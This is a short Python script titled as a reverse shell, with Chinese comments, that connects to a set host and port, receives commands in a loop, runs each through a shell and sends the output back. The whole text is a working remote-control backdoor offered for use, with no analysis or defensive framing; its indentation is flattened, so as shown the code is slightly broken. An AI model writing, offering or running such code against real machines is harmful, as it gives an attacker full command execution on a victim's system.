python反弹shell
import socket, subprocess
host = '127.0.0.1'
port = 65534
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# 开始循环接收命令并发送输出
while True:
# 接收命令
command = s.recv(1024).decode()
if command.lower() == 'exit':
break
# 开始执行命令并返回输出
output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout, stderr = output.communicate()
s.send(stdout)
s.send(stderr)
# 关闭连接
s.close()